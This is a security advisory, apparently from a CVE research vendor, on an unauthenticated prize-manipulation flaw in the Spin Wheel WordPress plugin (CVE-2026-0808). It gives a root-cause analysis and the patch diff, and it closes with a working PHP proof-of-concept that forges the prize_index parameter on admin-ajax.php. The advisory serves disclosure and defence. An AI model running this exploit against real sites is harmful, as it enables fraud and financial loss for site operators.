Atomic Edge analysis of CVE-2026-0808:
The Spin Wheel WordPress plugin, versions up to and including 2.1.0, contains an unauthenticated client-side prize manipulation vulnerability. The plugin’s AJAX handler for processing spin results trusted user-supplied prize selection data without server-side validation or randomization. This flaw allows attackers to bypass the intended random prize selection mechanism and choose any prize, including the most valuable ones.
Atomic Edge research identified the root cause in the `swp_ajax_submit_entry` method within the `class-swp-ajax.php` file. The vulnerable code accepted a `prize_index` parameter directly from the client via the `$_POST[‘prize_index’]` variable at line 73. The plugin used this client-controlled integer to directly index the `$prizes` array at line 145, selecting the corresponding prize. No server-side logic validated that this index corresponded to a legitimate random outcome of a spin.
Exploitation involves sending a POST request to the WordPress admin-ajax.php endpoint with the `action` parameter set to `swp_submit_entry`. The attacker includes a `prize_index` parameter with an integer value corresponding to their desired prize in the wheel’s configuration array. For example, an attacker could set `prize_index=0` to always select the first (often most valuable) prize. No authentication is required, and the attack bypasses the front-end JavaScript that simulates a random spin.
The patch in version 2.1.1 removes the client-supplied `prize_index` parameter from the `swp_ajax_submit_entry` method. The plugin introduces a new private method, `select_prize_server_side`, which performs server-side weighted random selection. This method constructs a weighted array based on each prize’s configured probability and uses `random_int` for cryptographically secure selection. The server now determines the prize index and returns it to the client within the response payload.
Successful exploitation allows any site visitor to consistently win the most valuable prizes offered by the spin wheel, such as high-value discount coupons, gift cards, or physical goods. This directly undermines the business logic and economic model of promotional campaigns, leading to financial loss for the site operator and potential inventory depletion. The vulnerability does not grant direct access to sensitive data or system control beyond the prize manipulation.
--- a/spin-wheel/includes/class-swp-ajax.php
+++ b/spin-wheel/includes/class-swp-ajax.php
@@ -70,7 +70,6 @@
$user_name = isset($_POST['user_name']) ? sanitize_text_field($_POST['user_name']) : '';
$user_email = isset($_POST['user_email']) ? sanitize_email($_POST['user_email']) : '';
$user_phone = isset($_POST['user_phone']) ? sanitize_text_field($_POST['user_phone']) : '';
- $prize_index = isset($_POST['prize_index']) ? intval($_POST['prize_index']) : 0;
// Validate
if (!$wheel_id || !$user_name || !$user_email) {
@@ -142,14 +141,18 @@
if (!$prizes || !is_array($prizes)) {
wp_send_json_error(['message' => __('Wheel configuration error', 'spin-wheel')]);
}
-
- // Get prize
- $prize = isset($prizes[$prize_index]) ? $prizes[$prize_index] : null;
+
+ // SERVER-SIDE PRIZE SELECTION
+ $prize_index = $this->select_prize_server_side($prizes);
+ $prize = $prizes[$prize_index];
if (!$prize) {
wp_send_json_error(['message' => __('Invalid prize', 'spin-wheel')]);
}
+ // Add index to prize array for frontend use
+ $prize['index'] = $prize_index;
+
// Determine if winner (for instant mode)
$is_winner = 0;
if ($wheel_mode === 'instant') {
@@ -203,12 +206,28 @@
'success' => true,
'entry_id' => $entry_id,
'prize' => $prize,
+ 'prize_index' => $prize_index,
'is_winner' => $is_winner,
'wheel_mode' => $wheel_mode,
];
wp_send_json_success($response);
}
+
+ private function select_prize_server_side($prizes) {
+ // Build weighted array based on probability
+ $weighted_prizes = [];
+ foreach ($prizes as $index => $prize) {
+ $probability = isset($prize['probability']) ? intval($prize['probability']) : 1;
+ for ($i = 0; $i < $probability; $i++) {
+ $weighted_prizes[] = $index;
+ }
+ }
+
+ // Cryptographically secure random selection
+ $random_key = random_int(0, count($weighted_prizes) - 1);
+ return $weighted_prizes[$random_key];
+ }
/**
* Select winner (admin only)
--- a/spin-wheel/includes/class-swp-biggopti.php
+++ b/spin-wheel/includes/class-swp-biggopti.php
@@ -49,14 +49,6 @@
* @return array|mixed
*/
private function get_api_biggopties_data() {
-
- // 6-hour transient cache for API response
- $transient_key = 'bdt_api_biggopties';
- $cached = get_transient($transient_key);
- if ($cached !== false && is_array($cached)) {
- return $cached;
- }
-
// API endpoint for biggopties - you can change this to your actual endpoint
$api_url = 'https://api.sigmative.io/prod/store/api/biggopti/api-data-records';
@@ -78,8 +70,6 @@
if( isset($biggopties) && isset($biggopties->{'spin-wheel'}) ) {
$data = $biggopties->{'spin-wheel'};
if (is_array($data)) {
- $ttl = apply_filters('bdt_api_biggopties_cache_ttl', 6 * HOUR_IN_SECONDS);
- set_transient($transient_key, $data, $ttl);
return $data;
}
}
@@ -327,23 +317,41 @@
wp_send_json_error([ 'message' => 'forbidden' ]);
}
+ // Don't show biggopties on plugin/theme install and upload pages
+ $current_url = isset($_POST['current_url']) ? sanitize_text_field($_POST['current_url']) : '';
+
+ if (!empty($current_url)) {
+ $excluded_patterns = [
+ 'plugin-install.php',
+ 'theme-install.php',
+ 'action=upload-plugin',
+ 'action=upload-theme'
+ ];
+
+ foreach ($excluded_patterns as $pattern) {
+ if (strpos($current_url, $pattern) !== false) {
+ wp_send_json_success([ 'html' => '' ]);
+ }
+ }
+ }
+
$biggopties = $this->get_api_biggopties_data();
$grouped_biggopties = [];
if (is_array($biggopties)) {
foreach ($biggopties as $index => $biggopti) {
if ($this->should_show_biggopti($biggopti)) {
- $biggopti_class = isset($biggopti->biggopti_class) ? $biggopti->biggopti_class : 'default-' . $index;
- if (!isset($grouped_biggopties[$biggopti_class])) {
- $grouped_biggopties[$biggopti_class] = $biggopti;
+ $display_id = isset($biggopti->display_id) ? $biggopti->display_id : 'default-' . $index;
+ if (!isset($grouped_biggopties[$display_id])) {
+ $grouped_biggopties[$display_id] = $biggopti;
}
}
}
}
// Build biggopties using the same pipeline as synchronous rendering
- foreach ($grouped_biggopties as $biggopti_class => $biggopti) {
- $biggopti_id = isset($biggopti->id) ? $biggopti_class : $biggopti->id;
+ foreach ($grouped_biggopties as $display_id => $biggopti) {
+ $biggopti_id = isset($biggopti->id) ? $display_id : $biggopti->id;
self::add_biggopti([
'id' => 'api-biggopti-' . $biggopti_id,
@@ -388,6 +396,14 @@
update_user_meta(get_current_user_id(), $id, true);
} else {
set_transient($id, true, $time);
+
+ // Also store in options table for persistence
+ $dismissals_option = get_option('bdt_biggopti_dismissals', []);
+ $dismissals_option[$id] = [
+ 'dismissed_at' => time(),
+ 'expires_at' => time() + intval($time),
+ ];
+ update_option('bdt_biggopti_dismissals', $dismissals_option, false);
}
wp_send_json_success();
@@ -456,6 +472,22 @@
$expired = get_user_meta(get_current_user_id(), $biggopti_id, true);
} elseif ('transient' === $biggopti['dismissible-meta']) {
$expired = get_transient($biggopti_id);
+
+ // If transient not found, check options table for persistent dismissal
+ if (false === $expired || empty($expired)) {
+ $dismissals_option = get_option('bdt_biggopti_dismissals', []);
+ if (isset($dismissals_option[$biggopti_id])) {
+ $dismissal = $dismissals_option[$biggopti_id];
+ // Check if dismissal is still valid (not expired)
+ if (isset($dismissal['expires_at']) && time() < $dismissal['expires_at']) {
+ $expired = true;
+ } else {
+ // Clean up expired dismissal from options
+ unset($dismissals_option[$biggopti_id]);
+ update_option('bdt_biggopti_dismissals', $dismissals_option, false);
+ }
+ }
+ }
}
// Biggopties visible after transient expire.
--- a/spin-wheel/spin-wheel.php
+++ b/spin-wheel/spin-wheel.php
@@ -3,7 +3,7 @@
* Plugin Name: Spin Wheel
* Plugin URI: https://bdthemes.com/spin-wheel
* Description: Engage your visitors with an interactive spinning wheel that offers coupons and other rewards. Increase user engagement and boost conversions with this fun and rewarding experience.
- * Version: 2.1.0
+ * Version: 2.1.1
* Requires at least: 6.7
* Requires PHP: 7.4
* Author: bdthemes
@@ -20,7 +20,7 @@
}
// Define plugin constants
-define('SPIN_WHEEL_VERSION', '2.1.0');
+define('SPIN_WHEEL_VERSION', '2.1.1');
define('SPIN_WHEEL__FILE__', __FILE__);
define('SPIN_WHEEL_PATH', plugin_dir_path(__FILE__));
define('SPIN_WHEEL_URL', plugin_dir_url(__FILE__));
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0808 - Spin Wheel <= 2.1.0 - Unauthenticated Client-Side Prize Manipulation via 'prize_index' Parameter
<?php
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
// The wheel_id must be obtained from the page source or by enumerating active wheels.
$wheel_id = 1;
// The prize_index corresponds to the desired prize in the wheel's configuration.
// Index 0 is typically the first/highest-value prize.
$prize_index = 0;
$post_data = array(
'action' => 'swp_submit_entry',
'wheel_id' => $wheel_id,
'user_name' => 'Atomic Edge',
'user_email' => 'test@atomicedge.example',
'prize_index' => $prize_index
);
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing only
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response Body:n$responsen";
// A successful exploit will return a JSON response with 'success' => true
// and the 'prize' object matching the attacker's chosen prize_index.
$response_data = json_decode($response, true);
if (isset($response_data['success']) && $response_data['success'] === true) {
echo "n[+] Exploit successful. Prize selected: ";
print_r($response_data['prize']);
} else {
echo "n[-] Exploit failed or wheel configuration error.n";
}
?>